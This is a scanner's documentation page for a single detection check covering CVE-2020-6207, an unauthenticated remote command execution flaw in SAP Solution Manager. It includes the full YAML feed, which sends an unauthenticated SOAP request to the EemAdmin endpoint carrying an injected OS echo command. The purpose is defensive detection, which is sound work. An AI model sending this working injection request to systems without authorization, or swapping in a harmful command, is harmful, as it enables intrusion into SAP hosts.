SAP Solution Manager — 1 vulnerability check
noctis ships 1 vulnerability check for SAP Solution Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SAP Solution Manager 7.2 unauthenticated RCE via EemAdmin
| CVE | CVE-2020-6207 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/sap-solman/CVE-2020-6207.yaml |
Sends an unauthenticated OS-command probe to the SAP Solution Manager EEM / CA Introscope agent administration endpoint (/EemAdminService/EemAdmin). On a vulnerable instance the missing authorization check lets the request through and the injected `echo NOCTIS$()<nonce>` collapses to a contiguous per-run marker in the response, confirming unauthenticated remote command execution.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /EemAdminService/EemAdminwith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: SAP Solution Manager unauthenticated RCE (EemAdmin, CVE-2020-6207)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-6207
- https://github.com/chipik/SAP_EEM_CVE-2020-6207
- https://www.rapid7.com/db/?q=CVE-2020-6207
Feed source — tests/vulnerabilities/sap-solman/CVE-2020-6207.yaml
# SAP Solution Manager 7.2 — unauthenticated RCE via the EEM / CA Introscope
# agent administration endpoint (CVE-2020-6207).
#
# The EemAdminService (`/EemAdminService/EemAdmin`) on the SMDAgent / Solution
# Manager diagnostics side is reachable without any authentication because of a
# missing authorization check. An unauthenticated caller can drive the agent
# administration SOAP interface and, through it, execute OS commands on managed
# agents — remote, pre-auth, code execution (CISA KEV, actively exploited).
#
# Detection (inert, no exploitation):
# A `script` step mints a per-run nonce `tok = rand_hex(16)` (32 hex chars) and
# two derived values:
# marker = "NOCTIS" + tok
# cmd = "echo NOCTIS$()" + tok (empty command substitution)
# The feed sends `cmd` as an OS command inside the *unauthenticated* EemAdmin
# SOAP request. A real shell on the vulnerable path expands `$()` to nothing,
# so its stdout contains the *contiguous* marker `NOCTIS<tok>`. A host that
# only reflects the literal payload returns `NOCTIS$()<tok>` (the `$()` breaks
# contiguity) and does NOT match; a host that enforces authentication returns
# 401/403 and never echoes at all.
#
# Detection therefore requires BOTH:
# 1. the unauthenticated request is accepted (HTTP 200), and
# 2. the per-run `$()` collapse actually happened (the contiguous nonce
# marker appears in the body).
# The nonce is fresh every run, so a cached/constant marker cannot satisfy it.
# QoD 97 — confirmed command execution over the missing-auth path.
uid: 72659f79-3227-4cb8-b6bb-15c092aa168c
name: "SAP Solution Manager 7.2 unauthenticated RCE via EemAdmin (CVE-2020-6207)"
description: |
Sends an unauthenticated OS-command probe to the SAP Solution Manager EEM /
CA Introscope agent administration endpoint (/EemAdminService/EemAdmin). On a
vulnerable instance the missing authorization check lets the request through
and the injected `echo NOCTIS$()<nonce>` collapses to a contiguous per-run
marker in the response, confirming unauthenticated remote command execution.
cves: [CVE-2020-6207]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [sap, solution-manager, eem, ca-introscope, rce, unauthenticated, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-6207"
- "https://github.com/chipik/SAP_EEM_CVE-2020-6207"
- "https://www.rapid7.com/db/?q=CVE-2020-6207"
steps:
# Mint a per-run nonce and build the collapse probe. `$()` is empty command
# substitution: a real shell strips it, producing the contiguous marker.
- id: mint-probe
action: script
store_as: td
code: |
let tok = rand_hex(16);
#{
tok: tok,
marker: "NOCTIS" + tok,
cmd: "echo NOCTIS$()" + tok
}
# Unauthenticated EemAdmin SOAP request carrying the OS command. No
# Authorization header is sent — the vulnerable path accepts it anyway.
- id: eem-probe
action: http_request
method: POST
path: "/EemAdminService/EemAdmin"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "text/xml; charset=UTF-8"
SOAPAction: ""
body: "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:adm=\"http://sap.com/smd/eem/admin/\"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo><command>{{td.cmd}}</command></adm:getAllAgentInfo></soapenv:Body></soapenv:Envelope>"
store_as: resp
# Confirm execution: the unauthenticated request was accepted (status 200) AND
# the per-run marker came back contiguous (proving the shell collapsed `$()`).
- id: confirm-rce
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, td.marker) >= 0"
on_match:
finding:
title: "SAP Solution Manager unauthenticated RCE (EemAdmin, CVE-2020-6207)"
description: "The EEM / CA Introscope agent administration endpoint /EemAdminService/EemAdmin accepted an unauthenticated SOAP request and executed an injected OS command, returning the collapsed per-run marker. This confirms the missing authorization check (CVE-2020-6207), allowing unauthenticated remote command execution."
remediation: "Apply SAP Security Note 2890213 (SAP Solution Manager 7.2 SP5-SP11) and restrict network access to the SMD agent / EEM administration endpoints."
confidence_delta: 0.72
qod: 97
evidence: "Unauthenticated EemAdmin exec confirmed: per-run marker {{td.marker}} returned contiguously (payload collapsed echo NOCTIS$()<nonce>)."
stop: true